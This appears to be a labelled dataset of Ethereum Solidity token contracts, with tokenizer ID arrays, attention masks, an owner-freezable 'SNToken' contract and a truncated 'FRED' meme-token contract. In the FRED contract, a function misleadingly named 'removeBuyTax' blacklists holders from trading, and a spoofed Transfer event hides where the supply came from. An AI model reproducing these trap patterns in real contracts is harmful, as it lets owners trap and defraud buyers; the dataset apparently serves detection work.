1001,
4464,
1025,
1062,
1004,
1001,
4464,
1025,
9255,
1033,
1008,
1011,
1019,
1012,
5641,
1003,
1024,
1016,
1012,
3590,
2595,
4800,
24759,
3771,
1031,
2048,
1004,
1001,
4464,
1025,
1056,
1004,
1001,
4464,
1025,
9255,
1033,
1008,
1011,
1019,
1012,
5641,
1003,
1024,
1016,
1012,
3590,
2595,
4800,
24759,
3771,
1031,
2048,
1004,
1001,
4464,
1025,
1044,
1004,
1001,
4464,
1025,
9255,
1033,
1008,
1011,
1019,
1012,
5641,
1003,
1024,
1017,
1012,
1019,
2595,
4800,
24759,
3771,
1031,
2048,
2665,
11918,
2015,
1033,
1008,
1011,
1019,
1012,
5641,
1003,
1024,
1017,
1012,
4293,
2595,
4800,
24759,
3771,
1031,
2048,
28855,
18407,
1033,
1008,
1020,
1012,
6535,
1003,
2028,
1997,
2169,
11918,
1008,
1011,
1015,
1012,
1019,
2595,
4800,
24759,
3771,
1008,
1016,
1012,
6365,
1003,
2028,
4231,
12696,
1008,
1011,
2260,
1012,
1019,
2595,
4800,
24759,
3771,
1008,
1015,
1012,
5818,
1003,
2093,
9844,
18407,
1008,
1011,
1014,
1012,
2654,
1003,
1024,
2322,
2595,
4800,
24759,
3771,
1031,
2093,
2317,
11918,
2015,
1033,
1008,
1011,
1014,
1012,
2654,
1003,
1024,
2322,
2595,
4800,
24759,
3771,
1031,
2093,
2751,
11918,
2015,
1033,
1008,
1011,
1014,
1012,
2654,
1003,
1024,
2423,
2595,
4800,
24759,
3771,
1031,
2093,
1004,
1001,
4464,
1025,
1062,
1004,
1001,
4464,
1025,
9255,
1033,
1008,
1011,
1014,
1012,
2654,
1003,
1024,
2423,
2595,
4800,
24759,
3771,
1031,
2093,
1004,
1001,
4464,
1025,
1056,
1004,
1001,
4464,
1025,
9255,
1033,
1008,
1011,
1014,
1012,
2654,
1003,
1024,
2423,
2595,
4800,
24759,
3771,
1031,
2093,
1004,
1001,
4464,
1025,
1044,
1004,
1001,
4464,
1025,
9255,
1033,
1008,
1011,
1014,
1012,
2654,
1003,
1024,
2871,
2595,
4800,
24759,
3771,
1031,
2093,
2665,
11918,
2015,
1033,
1008,
1011,
1014,
1012,
2654,
1003,
1024,
2753,
2595,
4800,
24759,
3771,
1031,
2093,
28855,
18407,
1033,
1008,
1014,
1012,
2654,
1003,
1062,
1056,
1044,
3396,
1008,
1011,
2603,
1012,
1016,
2595,
4800,
24759,
3771,
1008,
1014,
1012,
6021,
1003,
2048,
4231,
18407,
1008,
1011,
20666,
2595,
4800,
24759,
3771,
1008,
1014,
1012,
2199,
2487,
1003,
2093,
4231,
2882,
2990,
11008,
1008,
1011,
3156,
2595,
4800,
24759,
3771,
1008,
1008,
1013,
3206,
1062,
2705,
2890,
3401,
14966,
8663,
6494,
6593,
1063,
3853,
19204,
13976,
5963,
1006,
4769,
1035,
2013,
1010,
21318,
3372,
1035,
3643,
1010,
27507,
1035,
2951,
1007,
2270,
5651,
1006,
22017,
2140,
1007,
1025,
1065,
3206,
1062,
15222,
10111,
12881,
10732,
1063,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
pragma solidity ^0.4.21;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract SNToken is owned, TokenERC20 {
struct frozenInfo {
bool frozenAccount;
bool frozenAccBytime;
// uint time_stfrozen;
uint time_end_frozen;
uint time_last_query;
uint256 frozen_total;
// uint256 realsestep;
}
struct frozenInfo_prv {
uint256 realsestep;
}
uint private constant timerate = 1;
string public declaration = "frozenInfos will reflush by function QueryFrozenCoins and transfer.";
// mapping (address => bool) public frozenAccount;
mapping (address => frozenInfo) public frozenInfos;
mapping (address => frozenInfo_prv) private frozenInfos_prv;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
// This notifies clients about the frozen coin
event FrozenTotal(address indexed from, uint256 value);
/* Initializes contract with initial supply tokens to the creator of the contract */
function SNToken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _resetFrozenInfo(address target) internal {
frozenInfos[target].frozen_total = 0;
frozenInfos[target].time_end_frozen = 0;
frozenInfos_prv[target].realsestep = 0;
frozenInfos[target].time_last_query = 0;
frozenInfos[target].frozenAccBytime = false;
}
function _refulshFrozenInfo(address target) internal {
if(frozenInfos[target].frozenAccBytime)
{
uint nowtime = now ;// + 60*60*24*365*5 ;
frozenInfos[target].time_last_query = nowtime;
if(nowtime>=frozenInfos[target].time_end_frozen)
{
_resetFrozenInfo(target);
}
else
{
uint stepcnt = frozenInfos[target].time_end_frozen - nowtime;
uint256 releasecoin = stepcnt * frozenInfos_prv[target].realsestep;
if(frozenInfos[target].frozen_total<=releasecoin)
_resetFrozenInfo(target);
else
{
frozenInfos[target].frozen_total=releasecoin;
}
}
}
}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows
// require(!frozenAccount[_from]); // Check if sender is frozen
// require(!frozenAccount[_to]); // Check if recipient is frozen
require(!frozenInfos[_from].frozenAccount); // Check if sender is frozen
require(!frozenInfos[_to].frozenAccount); // Check if recipient is frozen
require(!frozenInfos[_to].frozenAccBytime);
if(frozenInfos[_from].frozenAccBytime)
{
_refulshFrozenInfo(_from);
if(frozenInfos[_from].frozenAccBytime)
{
if((balanceOf[_from]-_value)<=frozenInfos[_from].frozen_total)
require(false);
}
}
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
emit Transfer(_from, _to, _value);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
// frozenAccount[target] = freeze;
frozenInfos[target].frozenAccount = freeze;
emit FrozenFunds(target, freeze);
}
function freezeAccountByTime(address target, uint time) onlyOwner public {
// frozenAccount[target] = freeze;
require (target != 0x0);
require (balanceOf[target] >= 1);
require(!frozenInfos[target].frozenAccBytime);
require (time >0);
frozenInfos[target].frozenAccBytime = true;
uint nowtime = now;
frozenInfos[target].time_end_frozen = nowtime + time * timerate;
frozenInfos[target].time_last_query = nowtime;
frozenInfos[target].frozen_total = balanceOf[target];
frozenInfos_prv[target].realsestep = frozenInfos[target].frozen_total / (time * timerate);
require (frozenInfos_prv[target].realsestep>0);
emit FrozenTotal(target, frozenInfos[target].frozen_total);
}
function UnfreezeAccountByTime(address target) onlyOwner public {
_resetFrozenInfo(target);
emit FrozenTotal(target, frozenInfos[target].frozen_total);
}
function QueryFrozenCoins(address _from) public returns (uint256 total) {
require (_from != 0x0);
require(frozenInfos[_from].frozenAccBytime);
_refulshFrozenInfo(_from);
emit FrozenTotal(_from, frozenInfos[_from].frozen_total);
return frozenInfos[_from].frozen_total;
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2538,
1025,
3206,
3079,
1063,
4769,
2270,
3954,
1025,
3853,
3079,
1006,
1007,
2270,
1063,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
1065,
16913,
18095,
2069,
12384,
2121,
1063,
5478,
1006,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
3954,
1007,
1025,
1035,
1025,
1065,
3853,
4651,
12384,
2545,
5605,
1006,
4769,
2047,
12384,
2121,
1007,
2069,
12384,
2121,
2270,
1063,
3954,
1027,
2047,
12384,
2121,
1025,
1065,
1065,
3206,
19204,
2121,
2278,
11387,
1063,
1013,
1013,
2270,
10857,
1997,
1996,
19204,
5164,
2270,
2171,
1025,
5164,
2270,
6454,
1025,
21318,
3372,
2620,
2270,
26066,
2015,
1027,
2324,
1025,
1013,
1013,
2324,
26066,
2015,
2003,
1996,
6118,
4081,
12398,
1010,
4468,
5278,
2009,
21318,
3372,
17788,
2575,
2270,
21948,
6279,
22086,
1025,
1013,
1013,
2023,
9005,
2019,
9140,
2007,
2035,
5703,
2015,
12375,
1006,
4769,
1027,
1028,
21318,
3372,
17788,
2575,
1007,
2270,
5703,
11253,
1025,
1013,
1013,
2023,
19421,
1037,
2270,
2724,
2006,
1996,
3796,
24925,
2078,
2008,
2097,
2025,
8757,
7846,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1013,
1013,
2023,
2025,
14144,
7846,
2055,
1996,
3815,
11060,
2724,
6402,
1006,
4769,
25331,
2013,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1013,
1008,
1008,
1008,
9530,
3367,
11890,
4263,
3853,
1008,
1008,
3988,
10057,
3206,
2007,
3988,
4425,
19204,
2015,
2000,
1996,
8543,
1997,
1996,
3206,
1008,
1013,
3853,
19204,
2121,
2278,
11387,
1006,
21318,
3372,
17788,
2575,
20381,
6279,
22086,
1010,
5164,
19204,
18442,
1010,
5164,
19204,
6508,
13344,
2140,
1007,
2270,
1063,
21948,
6279,
22086,
1027,
20381,
6279,
22086,
1008,
2184,
1008,
1008,
21318,
3372,
17788,
2575,
1006,
26066,
2015,
1007,
1025,
1013,
1013,
10651,
2561,
4425,
2007,
1996,
26066,
3815,
5703,
11253,
1031,
5796,
2290,
1012,
4604,
2121,
1033,
1027,
21948,
6279,
22086,
1025,
1013,
1013,
2507,
1996,
8543,
2035,
3988,
19204,
2015,
2171,
1027,
19204,
18442,
1025,
1013,
1013,
2275,
1996,
2171,
2005,
4653,
5682,
6454,
1027,
19204,
6508,
13344,
2140,
1025,
1013,
1013,
2275,
1996,
6454,
2005,
4653,
5682,
1065,
1013,
1008,
1008,
1008,
4722,
4651,
1010,
2069,
2064,
2022,
2170,
2011,
2023,
3206,
1008,
1013,
3853,
1035,
4651,
1006,
4769,
1035,
2013,
1010,
4769,
1035,
2000,
1010,
21318,
3372,
1035,
3643,
1007,
4722,
1063,
1013,
1013,
4652,
4651,
2000,
1014,
2595,
2692,
4769,
1012,
2224,
6402,
1006,
1007,
2612,
5478,
1006,
1035,
2000,
999,
1027,
1014,
2595,
2692,
1007,
1025,
1013,
1013,
4638,
2065,
1996,
4604,
2121,
2038,
2438,
5478,
1006,
5703,
11253,
1031,
1035,
2013,
1033,
1028,
1027,
1035,
3643,
1007,
1025,
1013,
1013,
4638,
2005,
2058,
12314,
2015,
5478,
1006,
5703,
11253,
1031,
1035,
2000,
1033,
1009,
1035,
3643,
1028,
5703,
11253,
1031,
1035,
2000,
1033,
1007,
1025,
1013,
1013,
3828,
2023,
2005,
2019,
23617,
1999,
1996,
2925,
21318,
3372,
3025,
26657,
2015,
1027,
5703,
11253,
1031,
1035,
2013,
1033,
1009,
5703,
11253,
1031,
1035,
2000,
1033,
1025,
1013,
1013,
4942,
6494,
6593,
2013,
1996,
4604,
2121,
5703,
11253,
1031,
1035,
2013,
1033,
1011,
1027,
1035,
3643,
1025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2021-12-23
*/
/*
Fred Flinstone is an iconic cartoon character and the
launch of $FRED is designed to reward investors for HODL’ing
and melt faces as we depart Bedrock and send this ship
directly to the moon.
TG: https://t.me/FREDtoken
Site: https://fredtoken.co/
Twitter: https://twitter.com/FREDtokenETH
*/
pragma solidity ^0.8.10;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract FRED is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Fred Flinstone";
string private constant _symbol = "FRED";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0xE48311c8c636537fE5A0Ba179c39c8b33fb33C98);
_feeAddrWallet2 = payable(0xE48311c8c636537fE5A0Ba179c39c8b33fb33C98);
_buyTax = 13;
_sellTax = 3;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0xe90a6eE34aB0b05B8C2Ad709E4CE122Cb57ea070), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = _buyTax;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (40 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet2.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 20000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function removeBuyTax(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 20000000000 * 10**9) {
_maxTxAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 10) {
_sellTax = sellTax;
}
}
